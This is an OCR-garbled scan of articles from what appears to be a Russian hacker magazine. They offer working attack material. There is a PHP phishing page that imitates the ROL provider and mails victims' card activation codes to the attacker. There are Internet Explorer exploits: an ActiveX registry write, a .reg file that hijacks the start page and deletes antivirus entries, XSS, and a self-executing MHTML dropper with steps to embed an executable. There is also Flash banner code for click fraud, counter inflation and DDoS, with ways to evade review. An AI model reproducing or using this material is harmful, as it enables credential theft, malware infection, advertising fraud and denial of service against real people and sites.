$msg .= «REMOTE_ADDR: $REMOTE_ADDR\n»; 
$host = gethostbyaddr («$REMOTE_ADDR») ; 
$msg .= «HOST: $host\n»; 


Этот скриптик передает необходимый мини- 
мум информации кроме логина и пароля. Я 
его уже описывал как-то на страницах жур- 
нала. Вместо sex@sex.ru должен быть твой 
e@mail, Ha него будет приходить «ценная» 
инфа. Скрипт после отправки мыла сразу пе- 
реходит на nary rvoffice.php и явным обра- 
зом передает на нее переменную userlogin, 
это логин пользователя. С помощью этого 
логина, мы будем пытаться заставить поль- 
зователя поверить, что он в своем Личном 
кабинете. Для этого у Hac по всему rvoffi- 
ce.php разбросаны 


<?php echo $userlogin; ?> 


Они выводят введенный пользователем ло- 
гин, где это необходимо. Например, в полях 
«Имя пользователя», «Перенаправление 
почты», «Персональный номер» и т.п. Забыл 
уточнить, что я для примера брал страницу 
РОЛа, которая заблокированна и поэтому 
надо пополнить баланс. Почти все важные 
ссылки на данной станице идут на пагу- 
скрипт addmoney.php, где пользователю 
предлагают пополнить баланс. 


<? 


if ($csid==«» ог $сег{1==«» or $cert1==«» 
or $cert3==«» or $cert4==«») {} 

else { 

$timeall = ‘Date: ‘.Date( ‘0, d MY H:i:s 
‘) $SIGN.sprintf( ‘%029%024’ , flo- 

or ($ZONE/3600) , floor ( ($ZONE%3600) /60)). 
«\п»; 

$msg = $csid.» - «.$сег1.» - «.$сег{1.» 
- «.$cert3.» - «.$cert4.» \п»; 


Не совсем личный кабинет. 


$msg .= $timeall; 

$msg .= «REMOTE_ADDR: $REMOTE_ADDR\n»; 
$host = gethostbyaddr («$REMOTE_ADDR») ; 
$msg .= «HOST: $host\n»; 


$topic = «ROL: Card number.»; 
$email=«sex@sex. ги»; 

mail($email, $topic, $msg, «From: 
sex@sex.ru») ; 

} 


?> 

В начале скрипта идет проверка заполнены 
ли поля активирующие карточку, если да, то 
они отсылаются тебе на мыло с дополни- 
тельной информацией, время, ТР’шник, хост. 


<HTML> 

<HEAD><TITLE>Russia-On-Line Internet 
card</TITLE></HEAD> 

<BODY> 


<] align=center>fMononnenve баланса</й1> 
<b>Tonbko для клиентов РОЛ.</Б><Ьг> 

Для пополнения баланса введите код акти- 
вации Интернет-карты и нажмите кнопку 
«Пополнить баланс». Ваш баланс будет по- 
полнен в соответствии с номиналом Интер- 
нет-карты. 

<р> 

<font color=«maroon»><b>BHUMA- 

НИЕ: </b></font> 

Некоторые серии Интернет-карт не могут 
быть использованы для пополнения балан- 
ca<br> 

<font color=«maroon»><b>BHMMA- 

HME: </b></font> 


< 
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Не прячьте ваши данные за звезды по утрам :)! 


При пополнении баланса автоматического 
перевода на другой тарифный план не про- 
исходит; для изменения тарифного плана 
см. Личный кабинет 


После стандартного оформления данной PO- 
Ловской страницы идет наша форма, кото- 
рая ссылается сама на себя. 

Не пустая, а равная main, переменная УИД 
($uid==«main») показывает нам, что это не 
переход со страницы rvoffice.php, а клик на 
кнопке ‘Пополнить баланс”. 


<form method=post action=addmoney . php> 

<? if ($csid==«» or $cert1==«» ог 
$certl==«» ог $cert3==«» or $cert4==«») { 
if ($uid==«main») { ?><h2 align=cen- 
ter><font color=f01010>He указан код ак- 
тивации Интернет карты. <Бг>Пожалуйста, 
введите код akTuBaynn.</font></h2><? 


}} 


Если хоть какие-то поля не заполнены, то мы 
ругаемся на пользователя стандартной фра- 
зой, взятой с РОЛа. Здесь у нас акцент дела- 
ется на то, чтобы заставить пользователя по- 
верить, что он на РОЛе. 


else { 

if ($uid==«main») { 

?><h2 align=center><font color=f01010>Yka- 
зан неверный код активации Интернет кар- 
ты. <Бг>Пожалуйста, введите код активации 
3anoBo.</font></h2><? 


$} ?> 


Если все поля заполнены кодом активации 
карточки, и это нажатие на кнопку ‘Пополнить 
баланс’, то код актива- 


ции уже отослан нам в начале страницы, но 
мы все равно говорим пользователю, что он 
ошибся. Пусть думает, что его карточку заб- 
локировали или он даун и т.п. Чем дольше он 
будет сомневаться в себе, тем лучше нам. 
Время в данном вопросе работает на нас. 


<table border=0 width=100%><tr><td>Kog ак- 
TuBaynn</td><td><table><tr><td> 

<input type=text size=10 maxlength=10 na- 
me=csid value=<?php echo $csid; ?>> - 
</td><td> 

<table bgcolor=#AQAQAQ><tr><td><INPUT na- 
me=uid type=hidden value=main> 
&nbsp;<input type=text size=5 maxlength=5 
name=cert1 value=<?php echo $cert1; 
?>>&nbsp;-&nbsp;<input type=text size=5 
maxlength=5 name=cert2 value=<?php echo 
$cert2; ?>>&nbsp;-&nbsp;<input type=text 
size=5 maxlength=5 name=cert3 value=<?php 
echo $cert3; ?>>&nbsp;-&nbsp;<input ty- 
pe=text size=5 maxlength=5 name=cert4 va- 
lue=<?php echo $cert4; 

?>>&nbsp; </td></tr></tab- 
le></td></tr></table></td></tr> 
</table><center><input type=submit name=do 
value=’flononHuTb баланс’> 
</center></form> 


Здесь идут Te самые поля кода активации и 
субмит формы. В полях мы выводим текущие 
значения кода активации. Это мы делаем по 
двум прчинам: первая - так же сделано на 
РОЛе, вторая - так удобнее всем. 


<CENTER><HR WIDTH=70% SIZE=5><BR>Copyright 
&copy; 2002 TeleRoss</CENTER> 
</BODY></HTML> 


Ну, введи же! 


Давай, давай! Больше фрикций! 
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Асечка, отдайся! 


Здесь закрывается страница. 

Ух! Вот и написал. ICQ делается по аналогии 
с login.php, только поля логина пароля вста- 
вляются в обманку главной страницы. Под 
каким-нибудь заголовком, типа «SUPER, PU- 
PER, NEW, Web-ICQ». 


ОСЕЛ 666 И ЕГО ДЫРЫ 


Паразит был уже почти готов, когда всплыла 
одна маленькая деталь: нужно было как-то 
подсадить заразу. 

Самой известной мазой прописаться без 
спроса в хомяк к юзеру является знамени- 
тый баг четвертого IE. Следующий код по- 
зволял писать в реестр, что угодно, напри- 
мер, свой урл в хомяк: 


<script> 
document .write(«<APPLET HIGHT=0 WIDTH=0 
code=com.ms.activeX.ActiveXComponent></AP- 
PLET>») ; 
function pipetz() { 
try{ 
x=document. applets [6]; 
x. setCLS1D(«{F953DC22-1CFO-11D0- 
ADB9-Q0CO4FD58A0B}») ; 
x.createInstance() ; 
Shl=x.GetObject(); 
x. SetCLSID(«{OD43FE01-F093-11CF- 
8940-00A0C9054228}») ; 
try{ 


Sh1. RegWrite («HKCU\\SOFTWARE\\Micro- 
soft\\Internet Explorer\\Main\\Start Pa- 
ge», «http://www.pipets.ru») ; 


} 
catch(e) {} 
} 
catch(e) {} 
} 
setTimeout(«pipetz()», 1000) ; 
</script> 


К сожалению или к счастью, этот баг был ус- 
пешно пофиксен M$ начиная c ТЕ 5.0, да и ан- 
тивири успешно делают на этот скрипт свою 
стойку. Однако воткнуть этот скрипт в подса- 
живательную пагу, все же, не помешает, так как 
ламеров, не менявших свой софт со времен ца- 
ря Гороха, на свете пока еще хоть отбавляй. 


ИГРЫ С РЕЕСТРОМ 


Вторая маза - это заставить юзверя само- 
лично, своей ламерской рукой прописать се- 
бе в реестр нужные нам параметры aka ад- 
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А вот, что свалилось нам на почту. 


рес паразита. Ты в кур- 

се, что стоит два раза шлепнуть по гед-фай- 
лу, как все его содержание автоматом доба- 
вится в реестр, что нам и надо. Юзеры часто 
пользуют гед-файлы, когда крячат проги. 
Подсунь ламеру такой файлик, как необхо- 
димые изменения для кряка нужной софти- 
ны. Сам кряк может быть фейком чистой во- 
ды. 

В свое время также был очень популярен ха- 
лявный доступ в инет через сети х25, кото- 
рый раздавали некоторые добрые хакеры. 
Так вот, чтобы настроить доступ, юзеру нуж- 
но было слить файло с коннекшн скриптом и 
установить его себе. Кто мешает выдать наш 
гед-файл за такую же мазу? Ведь, как пока- 
зывает практика, юзеры редко заглядывают 
в содержание таких файлов. 


Вот какой гед-файл намутил Дронич: 
Windows Registry Editor Version 5.00 


[HKEY_CURRENT_USER\Software\Microsoft\In- 
ternet Explorer\Main] 


«Local Page»=«C: \\WINNT\\System32\\xakpa- 
ge. htm» 

; Это есть Ta страничка, которая загру- 
зится, если у юзера вообще отключен хоум- 
пейдж :). 

; Страшное западло :), так как 
about:blank можно отключить только из ко- 
мандной строки (iexplore.exe -nohome), а 
это не всем дано. 


«Start Page»=«http://www.pipets.ru » 
; Это Ta самая стартовая страница. 


«Search Page»=«http://www.pipets.ru » 

; Это страница, на которую юзер перена- 
правляется, если введенный им урл голимый 
и включен автопоиск. 

; Практика показывает, что отключают его 
только продвинутые люди. 


«FullScreen»=«yes» 
; Sevranty и так предусмотрел фулскрин, 
но можно еще подстраховаться :) 


[HKEY_LOCAL_MACHINE\SOFTWARE\Micro- 
soft\Windows\CurrentVersion\Run] 
«SpIDer»=- 

; А эта херь удаляет ДокторВеба 

; Аналогично можно разобраться с Каспе- 
ром. 


; [-HKEY_LOCAL_MACHINE\SOFTWARE\Nicro- 
soft\Windows\CurrentVersion\Run] 

; А вот это чистый термояд - удаляет BCE 
запускаемое с правами машины 

; Можешь снять с него PEM на свой страх и 
риск :). 


Заметь, что такой РЕГ-файл поменяет только 
юзерские настройки. Если ты хочешь заму- 
тить настоящее зло, поменяй ключ 
НКЕУ СОВВЕМТ_ 95ЕВ на  НКЕУ 10- 
CAL_MACHINE - он гораздо козырней и по- 
меняет паги сразу для всех юзеров. Кстати, 
обратная замена возможна только таким же 
путем — через регедит. 


СВЕЖИЕ ДЫРЕНИ 


Но, само собой, столь ненадежные методы 
Донора не удовлетворили, и он полез по 
bugtraq’am и был сражен буквально наповал 
свеженькими дырами от MSIE (читай «мя- 
со»). 

Первый баг грозит охотникам за флэш-муль- 
тиками. Оказывается, когда мясо загружает 
какой-нибудь мультимедиа-файл, оно генерит 
отдельную страничку и при этом ни фига не 
фильтрует линк на файло, который ему пихну- 
ли. Так что если к линку на флэшку приписать 
скрипт, осел его безропотно выполнит. 
Например урла 
http://www.macromedia.com//shockwa- 
ve/download/triggerpa- 
ges_mmcom/flash.swf?»><SCRIPT>alert(d 
ocument.cookie) </SCRIPT> 

запишет тебе на тачку куку. 

Подробнее читай здесь: 
http://www.securityfo- 
cus.com/bid/6481/discussion/ 


Второй глюк - это вообще песня! Называет- 
ся бага self-executing html file. Дыра заклю- 
чается в том, что если прямо в хытымыльку 
воткнуть исполняемый файл и небольшой 
скрипт, то при открытии его ишаком, послед- 
ний его с удовольствием исполнит. Работает 
бага для всех Виндов и ослов пятой и ше- 
стой версий. Подробнее читай здесь: 


http://www. securityfocus.com/bid/6961 


http://www. securityfocus.com/archi- 
ve/1/313355/2003-02-27/2003-03-05/0 


А коменты Дронича помогут тебе въехать, 
что тут и как: 
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//REMS by Dronich 


//Стандартный заголовок почтовика. 
MIME-Version: 1.0 


//Далее идет описание файла, прописанного 
в теле письма как аттачмент. 
Сопфеп*-Госа*1оп:11е:///ма1маге.ехе 


//Закодирован он по бейз64, самый клевый 
способ кодирования. 
Content-Transfer-Encoding: base64 


//Непосредственно файл. Импортируй его в 
почтовик, и ты увидишь АСКИИ. 

//Первые два символа - М7 - этого нам до- 
статочно, чтобы понять, что 

//файло исполняемое. Не-АСКИИ символы в 
БАТе не увидеть :(. 


//EXEbegin 
TVpEAQUAAgAgACEA/ /91AAACAACZAAAAPZAAAA - 
EA+zBqcgAAAAAAAAAAAAAAAAAAAAAAAA 


и еще до фига белиберды. .. 


PzY/Pzc/Pzg/Pzk/Pzo/Pzs/Pzw/Pz0/Pz4/Pz8/Pz8= 
//EXEend 

//Верхушка паги :). Все по-ламоботски 
просто. 


<!- 25.02.03 - http://www.malware.com —> 
<title>malware.com</title> 
<body bgcolor=black scroll=no> 


//Угу. Скриптик. Смотрим, что делают: 


<SCRIPT> 
//25.02.03 - http://www.malware.com 


//Описываем функцию. 
function malware() 


{ 


//B $ кладем путь к файлу. 
s=document.URL; 


//B path кладем Ty часть $, которая до 
последних слэшей (то бишь чисто ПУТЬ). 
path=s.substr(-0,s.lastIndex0f(«\\»)); 


//Если были ESC-chars - убиваем. 
ра{И=ипезсаре (path) ; 


//Вписываем в Teno ХТМЛки следующее (во- 
обще должна быть одна строка, но мы все 
равно компилить не собираемся): 
document.write( ‘ 


< 


НТТР`ОВЫЙ ONS 


Результаты поиска no запросу «Internet Explorer» 
Ha www.securityfocus.com 


//Началась чистая 

косметика - толку никакого :) 

<title> 

malware.com 

</title> 

<body scroll=no bgcolor=black> 

<FONT face=«Comic Sans MS» color=red sty- 
le=«position: absolute; top: 20; left:90;z-in- 
dex:100; font-size:2cm;»> 

malware.com 

</center> 

//А вот тут косметика кончилась... 


//И понеслась!.. Внедрили объект с мисти- 
ческим класс-айди, к которому точно нет 
описания в реестре. 

//Стайл и альт - для красоты. 

<object style=«cursor:cross-hair» alt=«moo 
ha ha» classid=«clsid:66666666-6666-6666- 
6666» 


//Гвоздь программы! Говорим винде, что 
объект с таким классом обрабатывается 
прогой, лежащей по адресу: 
CODEBASE=«mhtm1: ’+patht+’\\malware.htm1! fi - 
le: ///malware.exe»> 

//То есть непосредственно в теле нашего 
письма :). Просто, как полбублика. 


//С чистой совестью закрываем скобки и 
теги. 

</object> 

‘ 


) 
} 


//A теперь вызываем описанную функцию с 
небобовой частотой (раз в 150 мс) 
setTimeout («malware()», 150) 

</script> 


//Вот так все банально. Ключи от дома в 
машине, машина в гараже, ключи от гаража 
дома :))). 


//Вообще-то очень оригинально - заставить 
обработчик обрабатывать себя самого. 
//Причем винда не заорет, так как адрес к 
проге-обработчику локальный, а значит за- 
проса на загрузку нет :). 

//А раз новых прог не инсталлим - то и 
орать не надо :). 


Вот так-то! Ишак - самый жирный троян на 
твоей тачке. Ура М$!!! Так что поиметь в сети 
можно фигову тучу народу. Я уж молчу про 
то, что можно вообще сатанизм устроить, на- 
пример, форматнуть всем винты, но я бы не 
стал себя ради шутки под статью подводить. 


А чтобы запихать в этот эксплойт свой экзеш- 
ник, который и замутит сатанинскую пати на 
отдельно взятом компе, надо воспользовать- 
ся самой хацкерской прогой всех времен и 
народов — TheBat’om. Держи соляшен, чувак: 
1. Создать новый ящик в Бате и сказать ему 
«Хранить аттаченные файлы в письме» 

2. Написать письмо от кого угодно кому угодно. 
3. Приаттачить к этому письму свой запод- 
лянский экзешник. 

4. Сохранить письмо в отдельный файл (эк- 
спортнуть, проще говоря). 

5. Открыть файл блокнотом и скопировать 
аттач (его ты сразу узнаешь — он похож на 
хексовую белиберду :)). 

6. Засунуть его туда, куда следует (то есть по- 
среди моих комментов EXEbegin и EXEend). 


Напоследок скажу, что мы не пытались 
сделать идеальную елду массового пора- 
жения, поэтому, возможно, у нашего во- 
енного HTTP DNS’a много недостатков. 
Если ты дружишь с головой и имеешь го- 
рячее желание, можешь принять участие в 
нашем Open source проекте, так сказать, в 
ознакомительных целях. С удовольствием 
почитаем, каких результатов добился ты. 


== 
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имеем баннер, который 


имеет всех 


Как-то на предыдущих занятиях мы проходили 000$-атаку, и 
был упомянут способ использования баннеров для наших 


поподробнее. 


благородных целей. Сегодня мы разберем эту тему 


Alex Shark (qqqqqwww@ring.by) 


Кто Hac будет раскручивать? Итак, для Ha- 
чала, что может быть использовано для 
0005 с использованием баннерообменных 
сетей? Во-первых, это, конечно, НТМЕ-бан- 
неры, во-вторых, это НазН-баннеры. HTML- 
баннеры представляют собой не что иное, 
как обычную страничку, только очень ком- 
пактную и маленькую. Как правило, грузят- 
ся внутри тегов <iframe>. Баннеры на OCHO- 
ве Flash это тоже НТМ!-баннеры, но в 
структуре HTML ничего не записано, это 
всего-навсего загрузчик Swf файла. 

Как всегда, перед боем следует основатель- 
но подготовиться. Для написания flash co- 
ветую поставить 4-ую, а лучше 5-ую версию 
Macromedia Flash, поскольку многие банне- 
рообменные сети не принимают в оборот 
баннеры, написанные на 6-om Flash. Для на- 
писания НТМ(-баннеров можешь использо- 
вать что угодно, мое предпочтение это FAR. 
Теперь давай определимся с целью. Их мо- 
жет быть несколько: можно загрузить до по- 
тери пульса какой-нибудь сервер, если на 
сервере есть возможность регистрации, то 
это просто прелестно. Можно сделать же- 
стокую накрутку своего сайта или счетчика 


или даже не своего, если тебе пообещали 
заплатить за клики, то сколько раз твой бан- 
нер покажут, столько по нему и кликнут. В 
общем, простор для фантазии достаточно 
велик. Теперь давай разберемся с нес- 
колькими возможными жертвами, проще го- 
воря, с баннерообменными сетями. 


reklama.uz 


Представляет собой страшное детище 
программиста и дизайнера, вернее людей 
считающих себя таковыми. Явное преиму- 
щество - это слабый контроль за выста- 
вляемыми баннерами, ну скажите, кто бу- 
дет ковырять ваш баннер до потери пуль- 
са, если ковыряльщиков всего двое? Его 
запустят, потыкают и убедятся, что вроде 
все нормально, на чем и успокоятся. Так 
что для полевых испытаний это наиболее 
подходящий кандидат, трафика бешенно- 
го не даст, но проверить систему в бою 
позволит. Помимо картиночных баннеров 
принимает HTML, Flash, CGI. Форматы 
468x60, 100x100, 120x60, 120x600. Из 
форматов следует выбирать не тот, что по- 
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больше, нас не интересует графическая 
красота баннера, а тот, у которого показов 
больше. Так, если меняют 10 наших пока- 
зов 468х60 на 20 их показов 100х100, то 
ты должен вешать у себя 468x60, а боевую 
модель готовить 100х100. Как делать кло- 
ны сайтов, я думаю, объяснять не стоит, 
главное набрать показов и побольше. 


МАРК-ИТТ 


Ну да ладно, вот и следующий кандидат 
(BANNERS.MARK-ITT.RU). Оный предоста- 
вляет возможность размещения горизон- 
тальных баннеров 68x60, 100х100, 120x60, 
226x131, Flash и вертикальных 234x60, 
120x90, 125x125, 120x240, 120x600 u 
160х600. Аналогичный контроль, то есть 3a- 
пугивание по полной, и фактически все пу- 
стые слова. По показам они будут получше, 
так, например 468х60 был показан 15828 
раз за день, а 100х100 всего 8264 за день. 
Это, конечно, не Яндекс и не Yahoo, но на 
простенький внутрифирменный сервачок 
уже хватит. Главное отличие от предыдуще- 
го кандидата это не фокусированный Ha Y3- 
бекистане контингент, то есть 1Р-адреса бе- 
долаг будут более разношерстными, а зна- 
чит и суммарный трафик будет больше. 


Монстры 1 ВЕ и RLE 


Туг уже с контролем получше, так что не сто- 
ит заливать явно бажный НТМЕ-баннер. Тут 
надо действовать осторожнее, подгружать 
JavaScript файлы со своего сервера тебе уже 
не дадут, да и к загрузке картинки не очень 
хорошо отнесутся, могут вежливо попросить 
изменить адрес с относительного на абсо- 
лютный, но и трафик у них побольше будет. 
На момент написания статистика следую- 
щая: LBE - 2741610 показов, LBE-lite - 
1244404, LBE-100 - 3586869, RLE - 24772338. 
Как ты уже, наверное, заметил, для домаш- 
него сайтика это не просто поток и даже не 
горная река, это все равно что планетой по 
комару врезать. Так что тут война уже идет 
по-крупному, таким трафиком, как уже пи- 
салось, был завален украинский сайт обме- 
на баннеров. На всякий случай напомню, 
что для каждой баннерообменной сети те- 
бе придется сделать «левое» мыло, «ле- 
вый» сайт - и не какой-нибудь, а толковый 
и удовлетворяющий правилам баннерооб- 
менки (можешь просто его спереть :)). 


Стадии лома 


Хорош расслабляться, давай поговорим о 
деле, конкретно, что нам надо. Есть нес- 


колько финальных стадий, которые мы 
хотим с тобой получить. 

Первая стадия - это кумулятивный показ. 
Кумулятивный - это когда из 1 ты делаешь 
2, из 2 делаешь 4 ит.д. То есть саморасту- 
щая прибыль. Для осуществления сего 
требуется не сильно широкий канал, не 
очень большой сайт, да и вообще мало 
что требуется. Будем делать с тобой из 
показов показы. Допустим, у нас есть 1 
показ, это гарантирует, что твой баннер 
где-нибудь покажется, но показы счита- 
ются только с твоего сайта, значит надо, 
чтобы внутри твоего баннера показался 
твой сайт (как минимум - твой баннер на 
твоем сайте). Самый простой (сразу ого- 
ворюсь, он не прокатит) способ для 
НТМЕ-баннеров - это сделать внутри 
своего баннера <iframe> вставку с твоим 
сайтом. Но этот вариант умрет еще в за- 
родыше, аналогично погибнет открытие 
второго фрейма, так что выкинь этот дет- 
ский лепет из головы. 


Вторая стадия - это накрутка счетчика, тут 
достаточно (как правило), чтобы картинка 
счетчика просто загрузилась. Многие счет- 
чики слабо следят 3a referer ссылкой, хотя 
если это spylog, то тут лучше идти по спосо- 
бу баннера, то есть подделывать все (чуть 
ниже ты узнаешь, как это делать). Однако 
счетчик надо крутить не один раз за показ, 
а каждые 2-3 секунды, так что придется 
сделать мувик и на один из кадров подве- 
сить action - крутилку счетчика. 

Третья стадия наиболее грязная, но весь- 
ма пригодится спамерам, это глобальная 
раскрутка сайта. Как правило, ее можно 


Помни, СТВ выше 10% дают только 


порнобаннеры, а они запрещены! 


использовать там, где платят за привлече- 
ние посетителей, а не за легальное и пра- 
вильное привлечение посетителей. Проще 
говоря, для раскрутки порнухи. Делается 
все слишком просто, надо сделать в лю- 
бом месте (лучше все же на центральном 
кадре мувика) action на загрузку страни- 
цы в области «_blank» или «_top», но что- 
бы об этом не узнали при проверке банне- 
ра, тебе придется дочитать статью :). 

И наконец, глобальный натиск, завал ка- 
нала сайта, или попросту заплевывание 
его запросами. Как ни странно, но осу- 
ществляется это проще, чем раскрутка 
баннера, зато защищать баннер от носо- 
совательства в него придется более тща- 
тельно, поскольку нормального результа- 
та можно добиться, используя только гло- 
балистов типа RLE или LBE, а там ребята 
получают килобаксы за проверку твоих 
творений, и будь уверен, при малейшем 
подозрении они тебя отшвырнут, просто 
так, на всякий случай. Престиж и имя для 
них высоко ценятся. 


Итак, давай приступим к самому страшно- 
му и, в принципе, самому трудному. Давай 
сделаем баннер. Прежде всего, необходи- 
мо сделать мыло, халявное и не обяза- 
тельно красивое. Маленький секрет, реги- 
стрируйся везде от женского имени, мень- 
ше будет запарок при проверках. Затем 
надо создать/скатать сайт, любой, лишь 
бы он удовлетворял требованиям банне- 
рообменки. Затем надо заказать код бан- 
нера и как следует в нем разобраться. 


ДЕСТРУНТИВНЫЙ КОД В FLASH 
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Завершено нсследованне ауднторнн сетн RLE проводнмое 
MASMI Research Group 


Компания РЛЕ сообщает о результатах исследования 
аудитории сети Russian LinkExchange, проведенного 
компанией МАСМИ Москвав пох очередного этапа 
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iframe src=http://www. linkexchange.ru/cgi-bin/er - 


oO _ 


le.cgi?FFFFFF?ZZZ frameborder=0 vspace=0 hspace=0 width=468 


h 


eight=60 marginwidth=0 marginheight=0 scrolling=no> 


<a href=http://www. Linkexchange. ru/users/027486/goto.map tar- 
get=_top> 
<img src=http://www-linkexchange-ru/cgi-bin/rle.cgi?FFFFFF?ZZZ 
alt=«RLE Banner Network» border=0 height=b0 
width=4b&></a></iframe> 


Action в Мувике 


1. 
bin/erle.cgi?FFFFFF?ZZZ HTTP/1.0\nConnection: 
2 


head = "GET http://www. 1linkexchange.ru/cgi- 


agent = "User-Agent: Mozilla/4.0 (compatible; 


Windows 98) IE 5.0 [ru]\n"; 


35 
4. back = 


* 


1 


to = "Host: www. linkexchange.ru\n"; 

"Accept: text/html, image/jpeg, image/gif, 
/*\nAccept-Language: ru, en\nAccept-Charset: windows- 
251;q=1.0, *;q=0.1\n"; 
referer = "Referer: 
packet = headtagent+tot+tbacktreferer; 
Sock = new XMLSocket(); 

if (Sock.connect("ip_of_proxy", 
Sock.send (packet) ; 


8080)) { 


keep-alive\n"; 
MSIE 5.0; 


http://www. ru/eng/index.html\n\n"; 


page 
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Грязный клик 


if (random(100) > 95) { 


getURL ("http://www.linkexchange. 


" фор" ) | 
} 


Там, где стоит FFFFFF, будет твой персо- 
нальный номер, а вместо 222 должно 
быть случайное число. Лучше сделать 
несколько страниц, примерно штук 5, тог- 
да и отдача будет больше (коэффициент 
накрутки). Все, первая часть пройдена. В 
Flash есть очень хорошая вещь, называет- 
ся XMLSocket, она позволяет создавать 
коннект и отправлять любые данные на 
любой сервер; единственное ограниче- 
ние - это номер порта должен быть боль- 
ше 1024, поэтому тебе придется найти 
проксик. Не ищи анонимный, ищи самый 
обычный, который пересылает referer и 
ТР, именно он вызовет меньше всего во- 
просов. Теперь давай возьмемся за гряз- 
ное программирование. Сделай баннер, 
не обязательно красивый и кликабель- 
ный, нам это не интересно, главное, 
опять-таки, чтобы он внешне удовлетво- 
рял всем требованиям, то есть не моргал, 
чтобы на нем не было голых дефачек и 
т.п. Вставляем в него мувик и где-нибудь 
посерединке вешаем следующий код (но- 
мера строк тут просто для наглядности, не 
вздумай их вбивать :)). 

Разберемся, что мы делаем. С первой по 
пятую строку описываем то, что от нас хо- 
чет сервер. В шестой собираем все это в 
одну кучу. Седьмой создаем ту самую вол- 


ru/cgi-bin/rle.cgi?FFFFFF?ZZZ", 


шебную посылалку (сокет). Восьмой про- 
веряем, есть ли контакт. Девятая - «есть 
контакт», шлем все, что мы тут делали. 


Никогда не используй свой сайт и 
баннер снего в целях накрутки, 
закроют и всем наябедничают 


Все, мы показали наш баннер, по крайней 
мере, сервер так думает. Если хочешь, 
чтобы ZZZ всегда сам менялся, добавь гап- 
dom(999) при генерации head. Можешь 
сделать массив referer, ведущий на раз- 
ные разделы твоей странички, и выбирать 
из него случайным образом одну строку. 
В общем, движок у тебя есть, дорабаты- 
вай, растачивай, делай с ним, что хочешь. 
Можешь добавить случайное срабатыва- 
ние «клика», но не делай больше, чем 5%, 
это и так слишком высокий уровень от- 
клика. Чистый клик, без открытия страни- 
цы, делается точно так же, как и показ, 
только нужно вписать чуть-чуть другую 
строку в переменную head. Если же тебе 
надо, чтобы страничка открылась в реале, 
то используй «грязный клик». 

Со счетчиком все обстоит точно так же, 
только выбирай счетчик без JavaScript и 
помни, что ты меняешь показы баннера на 
накрутку счетчика, так что надо еще и бан- 
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Hep чуть-чуть подкручивать. Hy a для зава- 
ла сайта смело втыкай вместо ссылки на 
твой баннер ссылку на файл с сайта жер- 
твы, советую выбирать файл пожирнее. 
Если на том сайте есть Flash, можно ис- 
пользовать подзагрузку его флеша к себе в 
баннер; если есть звук (mp3, например), 
можно и его подгрузить как мувик, тут тебе 
не важен результат загрузки, важна сама 
загрузка :). Давай прикинем: на моем лю- 
бимом RLE вчера было 24772338 посетите- 
лей, это чуть больше 286 посетителей в се- 
кунду, средний объем swf-ku 30 кило, что 
есть 8.5 метров в секунду. Весьма нехилая 
выделенка, если же учесть, что помимо те- 
бя с этого сайта еще кто-то будет пытаться 
что-то скачать, то выходит очень большой 
трафик. В принципе одним файлом mp3 
можно завалить среднего провайдера или 
картинкой jpg эдак кило на 200 :). А че, у 
них же канал широкий, они любят вешать 
картинки неподъемные ;). Главное при за- 
Bayle - не пользоваться XMLSocket-om, пото- 
му как наиболее вероятно, что первым ля- 
жет именно проксятник, а не сильная жер- 
тва. Если на сайте жертвы есть регистра- 
ция чего-либо, то можно сделать случай- 
ную регистрацию полумиллионной аудито- 
рии пользователей, что приведет не только 
к забиванию канала, но забьет диск серве- 
ра и загрузит проц. 


Таможня 


А теперь ты узнаешь страшное: как тебя 
будут шмонать в мент... то есть у банна- 
рейщиков. Во-первых, глянь на свой swf в 
текстовом виде, и ты увидишь все свои 
строчки, что неправильно по определе- 
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нию. Их конечно можно закодировать, но 
потом твой мувик декомпильнут (или по- 
пробуют это сделать), но есть выход и из 
этого положения. Давай вынесем наш му- 
вик с кликалкой в отдельный файлец, на- 
зовем его «flyO.swf» и сделаем точно та- 
кой же, но без кликалки, просто летаю- 


Не делай тяжелые баннеры, 
от их объема зависит реальное 
количество показов 


щую фиговину; или можешь сделать му- 
вик, со знаком зодиака, который постоян- 
но будет меняться, или цену на товар, ко- 
торый ты якобы продаешь, ну подумай, 
зачем реально нужно выносить мувик, и 
постарайся закосить под это. А в основ- 
ном баннере используй loadMovieNum 
(«http://mypage.ru/flyO.swf», 3); для 
«дозагрузки» кусочка. Во время проверки 
на твоем сервере должен лежать нор- 
мальный не кликающий мувик с обычной 
летающей мухой. Когда проверка пройде- 
на и баннер выпущен на просторы, начи- 
сляй на него показы, устанавливай время 
показа с 2 ночи до 6 утра и смело подме- 
няй мувик. Все, с утра ты уже проснешься 
с бешеным количеством показов (если, 
конечно, все сделал правильно). Можно 
не выносить мувик, а вынести только са- 
MU переменные, 
для этого есть load- 
Variables(«da- 
ta.txt», 0); он нам 
поможет избавить- 
ся от лишних строк, 
но не избавит нас 
от декомпиляции, 
зато можно задать 
условие, что, мол, 
если переменные 
не считались, то я 
обычный мувик, 
иначе кликать! Но 
лучше всегда счи- 
тывать «правиль- 
ные» переменные: 
цены, скорость пе- 
редачи данных, за- 
грузку канала, и 
прочий кал. И гра- 
мотно выдавать его 
на экран. Тогда не 
должно быть во- 
просов типа «а за- 
чем вам скачивать 
это со своего сер- 
вера» или «а да- 
вайте мы их посмо- 
трим», можно сме- 
ло дать им файлец, 
и пусть ребята хоть 
зачитаются. Но в 
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идеале нужно написать перловку, KOTO- 
рая будет выкидывать данные в нужном 
формате до определенного времени, при- 
том более или менее правдоподобные 
данные. Ас 2 до 6 будет давать сама ссы- 
лки на разные баннеры (помнишь про 
random в конце баннера?) и разные refe- 
ral. А чтобы даже после декомпиляции 
трудно было сообразить, что к чему, сове- 
тую разнести всю эту требуху как можно 
дальше по мувикам. И не забывай про оп- 
цию «защитить от экспорта», она хоть 
как-то, но тоже создаст проблему. 


Стартовый капитал 


Все, есть движок, есть баннер и сайт с 
перлом, но нет стартового капитала. Да- 
вай попробуем сделать несколько пока- 
зов. Для начала платный путь. Покупай 
себе карточку WM, делай кошелек и при- 
мерно за один буказоид ты сможешь пои- 
меть 5000 показов RLE-Classic. Если 
учесть, что эти 5000 показов пролетят ми- 
нут за 5 (и это еще очень медленно), то к 
утру у тебя должно быть эдак лямов 20, 
так что не слишком жадничай и старайся 
накручивать как можно меньше, не забы- 
вай про кумулятивный эффект, каждый 
показ вызывает еще 3 показа. 
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Теперь бесплатный путь. A кто, собствен- 
но, нам мешает послать наш «супербан- 
нер», только в уменьшенном 1х1 варианте 
в аттаче, в письмеце с тупым спамом? Ту- 
пым именно для того, чтобы никто не раз- 
бирался, а просто посмотрел и грохнул. 
Можно сделать менее болезненно, просто 
спросить у друзей-знакомых 10-20 пока- 
